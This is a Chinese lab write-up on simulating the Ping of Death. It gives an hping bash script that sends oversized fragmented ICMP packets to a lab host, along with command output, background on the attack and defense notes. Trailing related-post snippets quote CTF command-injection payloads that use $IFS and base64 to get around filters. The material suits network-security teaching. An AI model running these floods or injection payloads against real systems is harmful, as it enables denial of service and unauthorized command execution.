需求描述

使用hping构造IP分片,模拟实现死亡之Ping

环境搭建

使用VMWare和Dynamips。

实现思路

构造重装后大于65535字节的IP分片

hping 192.168.1.1 -1 -x -d 1400 -N 100 -c 1

for ((i=1;i<50;i++))

do

j=`expr $i \* 1408`

hping 192.168.1.1 -1 -x -d 1400 -g $j -N 100 -c 1

done

hping 192.168.1.1 -1 -d 1000 -g 70400 -N 100 -c 1

实验实施

1. 在PC2上安装Hping源码包

[root@localhost ~]# tar zxf hping2.0.0-rc3.tar.gz

[root@localhost ~]# ls

anaconda-ks.cfg Desktop hping2.0.0-rc3.tar.gz hping2-rc3 install.log install.log.syslog

[root@localhost ~]# mv hping2-rc3/ hping

[root@localhost ~]# cd hping

[root@localhost hping]# ./configure

[root@localhost hping]# make && make install

2. 在Web主机上定位Sniffer上定义过滤器用来抓包

3. 在PC2上用ping命令发送在和大小为70000的ICMP包

[root@localhost ~]# ping 192.168.1.1 -s 70000 -c 1

Error: packet size 70000 is too large. Maximum is 65507

##系统报错:允许发送的ICMP包的子啊和最大为65507.

4. 用hping命令,发送数据为7000的ICMP包

[root@localhost ~]# hping 192.168.1.1 -1 -d 70000 -c 1

HPING 192.168.1.1 (eth0 192.168.1.1): icmp mode set, 28 headers + 4464 data bytes

len=1500 ip=192.168.1.1 ttl=127 DF id=57 icmp_seq=0 rtt=39.8 ms

--- 192.168.1.1 hping statistic ---

1 packets tramitted, 1 packets received, 0% packet loss

round-trip min/avg/max = 39.8/39.8/39.8 ms

##可以看到,只截取了4464字节的数据

5. 在Web服务器上启用sniffer抓包

6. 在PC2上编辑一个脚本,先发送两个小IP分片测试

[root@localhost ~]# vim pingcs.sh

[root@localhost ~]# more pingcs.sh

#!/bin/bash

hping 192.168.1.1 -1 -x -d 800 -N 100 -c 1

hping 192.168.1.1 -1 -d 200 -g 808 -N 100 -c 1

[root@localhost ~]# chmod +x pingcs.sh

[root@localhost ~]# ./pingcs.sh

HPING 192.168.1.1 (eth0 192.168.1.1): icmp mode set, 28 headers + 800 data bytes

--- 192.168.1.1 hping statistic ---

1 packets tramitted, 0 packets received, 100% packet loss

round-trip min/avg/max = 0.0/0.0/0.0 ms

HPING 192.168.1.1 (eth0 192.168.1.1): icmp mode set, 28 headers + 200 data bytes

--- 192.168.1.1 hping statistic ---

1 packets tramitted, 0 packets received, 100% packet loss

round-trip min/avg/max = 0.0/0.0/0.0 ms

7. 在Web主机上查看抓到的IP分片

8. 在PC2上发送重装后大于65535字节的IP分片

[root@localhost ~]# vim pingofdeath.sh

[root@localhost ~]# more pingofdeath.sh

#!/bin/bash

hping 192.168.1.1 -1 -x -d 1400 -N 100 -c 1

for ((i=1;i<50;i++))

do

j=`expr $i \* 1408`

hping 192.168.1.1 -1 -x -d 1400 -g $j -N 100 -c 1

done

hping 192.168.1.1 -1 -d 1000 -g 70400 -N 100 -c 1

[root@localhost ~]# chmod +x pingofdeath.sh

[root@localhost ~]# ./pingofdeath.sh

--- 192.168.1.1 hping statistic ---

1 packets tramitted, 0 packets received, 100% packet loss

round-trip min/avg/max = 0.0/0.0/0.0 ms

9. 在Web主机上启用sniffer抓包,可以看到很多IP分片,从中找到offset=64768的包

补充:

死亡之Ping(ping of death)

对目标IP不停地Ping探测从而致使目标主机网络瘫痪。常见工具有蜗牛炸弹、AhBomb等。

由于在早期的阶段,路由器对包的最大尺寸都有限制,许多操作系统对TCP/IP栈的实现在ICMP包上都是规定64KB,并且在对包的标题头进行读取之后,要根据该标题头里包含的信息来为有效载荷生成缓冲区,当产生畸形的,声称自己的尺寸超过ICMP上限的包也就是加载的尺寸超过64K上限时,就会出现内存分配错误,导致TCP/IP堆栈崩溃,致使接受方死机。

防御:现在所有的标准TCP/IP实现都已实现对付超大尺寸的包,并且大多数防火墙能够自动过滤这些攻击,包括:从windows 98之后的windows NT(service pack 3之后),Solaris、和Mac OS都具有抵抗一般ping of death攻击的能力。此外,对防火墙进行配置,阻断ICMP以及任何未知协议,都讲防止此类攻击。

ping -t -l 65500 ip 死亡之ping(发送大于64K的文件并一直ping就成了死亡之ping)

至此、实验完毕!

附上hping下载地址:https://github.com/antirez/hping

模拟实现死亡之Ping(Ping of death)的更多相关文章

  1. 死亡之ping(Ping of Death)

    最简单的基于IP的攻击可能要数著名的死亡之ping,这种攻击主要是由于单个包的长度超过了IP协议规范所规定的包长度.产生这样的包很容易,事实上,许多操作系统都提供了称为ping的网络工具.在为Wind ...

  2. 简单的DOS攻击之死亡之ping详解

    DOS攻击之死亡之ping详解,dos攻击,俗称拒绝服务攻击,通过发送大量的无用请求数据包给服务器,耗尽服务器资源,从而无法通过正常的访问服务器资源,导致服务器崩溃. 如果多个ip通过发起对一个服务器 ...

  3. HDU 6203 ping ping ping(贪心+LCA+DFS序+BIT)

    ping ping ping Time Limit: 2000/1000 MS (Java/Others)    Memory Limit: 32768/32768 K (Java/Others) T ...

  4. hdu 6203 ping ping ping(LCA+树状数组)

    hdu 6203 ping ping ping(LCA+树状数组) 题意:给一棵树,有m条路径,问至少删除多少个点使得这些路径都不连通 \(1 <= n <= 1e4\) \(1 < ...

  5. [GXYCTF2019]Ping Ping Ping

    0x00 知识点 命令执行变量拼接 /?ip=127.0.0.1;a=g;cat$IFS$1fla$a.php 过滤bash用sh执行 echo$IFS$1Y2F0IGZsYWcucGhw|base6 ...

  6. [BUUOJ记录] [GXYCTF2019]Ping Ping Ping

    主要考察RCE的防护绕过,感觉考的还是比较全的 先构造Payload: ?ip=127.0.0.1;ls 看到目录下有两个文件,fuzz一下发现过滤了 空格 / + * ? { } ( ) [ ]等符 ...

  7. [GXYCTF2019]Ping Ping Ping 1

    进入界面 根据提示进行ping信号 看到网页的内容就想到经典的Linux命令执行,使用命令执行的管道符 "  |  "尝试列出文件 FLAG应该在Flag.php里面 构造play ...

  8. BUUCTF(十)[GXYCTF2019]Ping Ping Ping 1

    BUUCTF系列 /?ip=baidu.com /?ip=baidu.com|ls 正常回显,当cat flag.php时,提示不让输入空格,而且后面还不让出现falg字符 IFS IFS (Inte ...

  9. [GXYCTF2019]Ping Ping Ping(ping命令执行绕过Waf)

    记一道ping注入的题.过滤了很多字符. 分析 简单的测了一下,很容易就拿到了flag.php和index.php. 但是存在waf无法直接查看.直接?ip=127.0.0.1|cat flag.ph ...

随机推荐

  1. WCF分布式开发步步为赢(7):WCF数据契约与序列化

    本节继续学习WCF分布式开发步步为赢(7):WCF数据契约与序列化.数据契约是WCF应用程序开发中一个重要的概念,毫无疑问实现客户端与服务端数据契约的传递中序列化是非常重要的步骤.那么序列化是什么?为 ...

  2. 李洪强iOS开发之OC[011] - 有参方法的声明实现以及调用练习

  3. JavaWeb项目开发案例精粹-第6章报价管理系统-05Action层

    0. <?xml version="1.0" encoding="UTF-8" ?> <!DOCTYPE struts PUBLIC &quo ...

  4. [iOS]把16进制(#871f78)颜色转换UIColor

    // // ViewController.m // text // // Created by 李东旭 on 16/1/22. // Copyright © 2016年 李东旭. All rights ...

  5. SSIS ->> Error Handling

    Event Handler Each task and container raises events as it runs, such as an OnError event, among seve ...

  6. SSIS ->> Parameter

    参数只能外部调用 参数分项目级别的参数和包级别的参数.项目级别的参数可见范围是所有包,而包级别的参数可见范围仅限于该包内. Sensitive选项是加密数据值,这样在Integration Servi ...

  7. Web Server 使用WebClient 发送https请求 The underlying connection was closed: Could not establish trust relationship for the SSL/TLS secure channel

    使用WebClient 发送https请求 使用WebClient发送请求时,并且是以https协议: WebClient webClient = new WebClient(); string re ...

  8. YTU 2617: B C++时间类的运算符重载

    2617: B C++时间类的运算符重载 时间限制: 1 Sec  内存限制: 128 MB 提交: 284  解决: 108 题目描述 C++时间类的运算符重载 定义一个时间类Time,其数据成员为 ...

  9. python3代码

    import urllib.request url="http://mm.taobao.com/json/request_top_list.htm?type=0&page=1&quo ...

  10. 错误 -force-32bit 与 ANDROID_EMULATOR_FORCE_32BIT=true

    1,配置环境变量, 加上ANDROID_EMULATOR_FORCE_32BIT=true 2,在AS中启动模拟器用下面方法 在你要运行的个工程右击->Run as -> Run conf ...